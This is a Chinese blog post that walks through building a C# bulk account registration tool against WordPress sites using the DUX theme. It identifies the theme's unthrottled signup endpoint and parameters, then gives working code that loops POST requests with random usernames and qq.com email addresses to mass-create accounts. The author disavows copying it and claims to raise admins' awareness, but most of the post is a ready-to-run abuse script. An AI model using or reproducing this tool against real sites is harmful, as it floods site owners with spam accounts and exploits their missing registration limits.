和群里诸位站长聊天时说到WordPress开放注册的问题,发现好多WordPress网站开放了注册,包括本站也开放了注册。虽然很多站看起来很高大上,注册弹窗漂亮异常。但是它们都没有对注册信息进行加密处理以及注册限制,留下了可以无限注册的接口。今天就用C#写一个简单的WordPress账号注册机,批量注册一个使用大前端主题dux的网站。大家不要学我,这个站长我认识,刷人家账号是不好的行为哟~
首先是使用浏览器进行抓包,chrome内核浏览器可以F12直接抓包,IE需要安装httpwatch软件。具体抓包过程我就不教大家了,很简单,特别是这种没有加密处理的明文信息。下面是dux主题的注册接口:
请求方式:post
请求地址:域名/wp-content/themes/dux/action/log.php
请求参数:
- name(用户名)
- email(用户邮箱)
- action(请求类型,用以判断是否是注册请求),注册请求action 为signup
下面看看C#批量账号注册机的代码实现:
生成随机字母数字的方法,以便我们随机构造邮箱地址。
/// <summary>
/// 生成随机字母与数字
/// </summary>
/// <param name="IntStr">生成长度</param>
/// <returns></returns>
public static string Str(int Length)
{
return Str(Length, false);
}
/// <summary>
/// 生成随机字母与数字
/// </summary>
/// <param name="Length">生成长度</param>
/// <param name="Sleep">是否要在生成前将当前线程阻止以避免重复</param>
/// <returns></returns>
public static string Str(int Length, bool Sleep)
{
if (Sleep)
System.Threading.Thread.Sleep(3);
char[] Pattern = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
string result = "";
int n = Pattern.Length;
System.Random random = new Random(~unchecked((int)DateTime.Now.Ticks));
for (int i = 0; i < Length; i++)
{
int rnd = random.Next(0, n);
result += Pattern[rnd];
}
return result;
}然后是使用HttpWebRequest方法提交post请求,前面已经讲过了,不清楚看这里,C#从WebBrowser中取得Cookie 并在 HttpWebRequest中使用
public void threadres() {
int i = 0;
while (i < Convert.ToInt32(textBox4.Text))
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(textBox3.Text);
//以下是发送的http头,随便加,其中referer挺重要的,有些网站会根据这个来反盗链
request.Referer = textBox2.Text;
request.Accept = "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
request.Headers["Accept-Language"] = "zh-CN,zh;q=0.";
request.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
request.UserAgent = "User-Agent:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1";
request.KeepAlive = true;
//上面的http头看情况而定,但是下面俩必须加
request.ContentType = "application/x-www-form-urlencoded";
request.Method = "POST";
Encoding encoding = Encoding.UTF8;//根据网站的编码自定义
string postDataStr = "name=" + Str(10) + "&email=" + Str(10) + "@qq.com&action=signup";
byte[] postData = encoding.GetBytes(postDataStr);
request.ContentLength = postData.Length;
Stream requestStream = request.GetRequestStream();
requestStream.Write(postData, 0, postData.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
//如果http头中接受gzip的话,这里就要判断是否为有压缩,有的话,直接解压缩即可
if (response.Headers["Content-Encoding"] != null && response.Headers["Content-Encoding"].ToLower().Contains("gzip"))
{
responseStream = new GZipStream(responseStream, CompressionMode.Decompress);
}
StreamReader streamReader = new StreamReader(responseStream, encoding);
string retString = streamReader.ReadToEnd();
settext settx = new settext(updateui);
Invoke(settx, retString);
streamReader.Close();
responseStream.Close();
i++;
System.Threading.Thread.Sleep(400);
}
}
因为是批量注册,为了不影响UI,使用了线程委托来实现。dux注册返回的是json,c#的json解析比较麻烦,我就不解析了,直接判断第10个字符是数字几就行了,0表示成功。
thread = new Thread(new ThreadStart(threadres)); thread.IsBackground = true; thread.Start();
用上面的代码启动线程即可。。。好像忘了个委托
public delegate void settext(String str);//定义一个用于更新UI的委托,需要传入一个字符串参数
委托ui处理方法
public void updateui(String str) {
j++;
if(str.Substring(9, 1).Equals("0")) {
textBox1.Text = textBox1.Text + "\r\n "+j+" 注册成功";
}
}搞定,在程序界面填入注册接口地址即可,如果不成功,填入来源地址一般就OK了。这篇文章主要是为了提高诸位站长的运维意识,虽然刷账号没用,后台点几下鼠标就能把所有不合格账号全部删除,但….要提高自己。






评论 (2)